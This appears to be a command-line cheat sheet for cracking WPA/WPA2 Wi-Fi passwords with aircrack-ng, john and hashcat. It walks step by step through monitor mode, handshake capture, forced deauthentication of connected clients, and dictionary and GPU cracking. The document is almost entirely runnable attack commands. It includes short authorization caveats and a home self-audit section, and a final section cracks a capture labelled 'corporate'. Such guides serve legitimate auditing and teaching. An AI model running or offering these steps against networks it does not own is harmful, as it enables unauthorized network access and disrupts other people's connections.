aircrack-ng

# Check which adapters support monitor mode and injection
sudo airmon-ng
# PHY     Interface       Driver          Chipset
# phy0    wlan0           ath9k_htc       Atheros AR9271

# Kill processes that interfere with monitor mode
sudo airmon-ng check kill

# Enable monitor mode — wlan0 becomes wlan0mon
sudo airmon-ng start wlan0

# Verify
iw dev wlan0mon info | grep type
# type monitor

# Scan all 2.4 and 5 GHz channels
sudo airodump-ng wlan0mon
# Columns: BSSID, PWR, Beacons, #Data, CH, ENC, CIPHER, AUTH, ESSID
# Note the BSSID and channel of your target network

# Filter to a specific channel and BSSID
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon
# -w handshake: write pcap files prefixed "handshake"
# Keep this running — it logs clients connecting to the AP

# Option A: passive — wait for a client to authenticate
# airodump shows "WPA handshake: AA:BB:CC:DD:EE:FF" in the top-right when captured

# Option B: active — deauth an existing client to force reconnection
# (only on networks you own or have authorization for)
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
# -a: AP BSSID   -c: client MAC (from airodump station list)
# 5 deauth packets is usually enough; don't flood.

# Confirm the handshake is in the capture
aircrack-ng handshake-01.cap
# Look for: "1 handshake" next to the target BSSID

# On Kali, rockyou.txt ships gzipped — decompress it once:
[ -f /usr/share/wordlists/rockyou.txt ] || sudo gunzip -k /usr/share/wordlists/rockyou.txt.gz

# WPA passphrases are 8-63 characters; aircrack-ng skips shorter/longer
# candidates, so pre-filter a generic wordlist to save time:
grep -E '^.{8,63}$' /usr/share/wordlists/rockyou.txt > /tmp/rockyou-wpa.txt

# Dictionary attack with the length-filtered wordlist
aircrack-ng -w /tmp/rockyou-wpa.txt -b AA:BB:CC:DD:EE:FF handshake-01.cap
# KEY FOUND! [ correcthorsebattery ]

# With a rule-transformed wordlist (via john)
john --wordlist=rockyou.txt --rules=KoreLogic --stdout \
  | aircrack-ng -w - -b AA:BB:CC:DD:EE:FF handshake-01.cap

# Convert to hashcat format for GPU cracking (much faster)
hcxpcapngtool -o hash.hc22000 handshake-01.cap
hashcat -m 22000 hash.hc22000 rockyou.txt

# Stop monitor mode and restore managed mode
sudo airmon-ng stop wlan0mon
sudo systemctl restart NetworkManager
iw dev
# Should show wlan0 back in managed mode

# Authorization: it's your network. Still, snapshot settings so you can recover.

sudo airmon-ng check kill
sudo airmon-ng start wlan0

# Locate your AP
sudo airodump-ng wlan0mon
# Press Ctrl+C after you see your SSID on, say, channel 6, BSSID CC:... 

# Capture targeted
mkdir -p ~/audit && cd ~/audit
sudo airodump-ng -c 6 --bssid CC:CC:CC:CC:CC:CC -w home wlan0mon &

# Reconnect a device (phone Wi-Fi off/on) to produce the handshake naturally
# Stop airodump once you see "WPA handshake" in the header

# Attempt to crack with a personal wordlist + rockyou
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b CC:CC:CC:CC:CC:CC home-01.cap

# If it cracks quickly → your passphrase is weak, change it.
sudo airmon-ng stop wlan0mon

# Convert the capture to hashcat 22000 format (replaces older -m 2500)
sudo apt install hcxtools
hcxpcapngtool -o corporate.hc22000 corporate-01.cap

# Verify the essid/mac
cat corporate.hc22000 | head

# Run hashcat with a strong wordlist + best64 rules
hashcat -m 22000 corporate.hc22000 \
  /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule \
  --status --status-timer=10

# Retrieve the recovered passphrase
hashcat -m 22000 corporate.hc22000 --show